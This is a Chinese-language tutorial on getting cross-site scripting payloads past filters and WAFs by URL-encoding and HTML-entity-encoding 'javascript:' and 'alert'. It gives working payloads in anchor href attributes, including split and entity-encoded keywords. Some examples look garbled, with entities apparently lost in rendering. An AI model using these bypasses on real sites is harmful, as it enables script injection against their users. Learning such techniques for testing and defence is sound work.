XSS防护规则的绕过二:编码绕过
一,URL编码介绍
URL编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如:
/ --> %2F
# --> %23
. --> %2e
+ --> %2b
< --> %3c
> --> %3e
! --> %21
空格--> %20
换行--> %0a
& --> %26
( --> %28
) --> %29
" --> %22
' --> %27
二,HTML实体编码介绍
- <blockquote>HTML实体编码:以&开头,分号结尾
复制代码
Javascript:伪协议后面可以使用URL编码。如果对JavaScript,alert过滤可以对其进行编码
例如:
<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗;
可用img就不行:<img src=1>
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转.
同时后面的url编码可以再做一次entity (HTML实体)编码:如果URL编码还是不行,可以 进一步实体化
<a href="javascript:%61lert (1)">click me</a>
四,HTML编码利用
注意:
1.HTML十进制和十六进制编码的分号是可以去掉的。
2.实体编码的数字前可以加上很多的0进行绕过WAF,如 
例如:可以正常执行 弹出xss (对alert过滤使用)
'><img src=1>
HTML5新增的实体命名编码 是否弹出跟浏览器有关系)
: =>[冒号]

 => [换行]
例:对正常的代码融入实体编码 (当对JavaScript过滤时使用)
<a href="javascript:alert(1)">click</a>
<a href="javasc
ript: alert (1)">click</a>
五,HTML编码利用(十进制和十六进制)
解析器一般将工作分配给两个组件----词法分析器(有时也叫分词器)负责将输 入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
首先html编码被还原出来然后就成了换行跟冒号
<a href="javasc
ript:alert(1)">click</a>
为什么换行后还能够执行是因为浏览器中的解析器中词法分析器起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和 换行,不支持on事件.然后就构造成了一个完整的语句
<a href="javascript: alert (1)">click</a> 代码成功执行(谷歌支持,火狐有版本问题)
|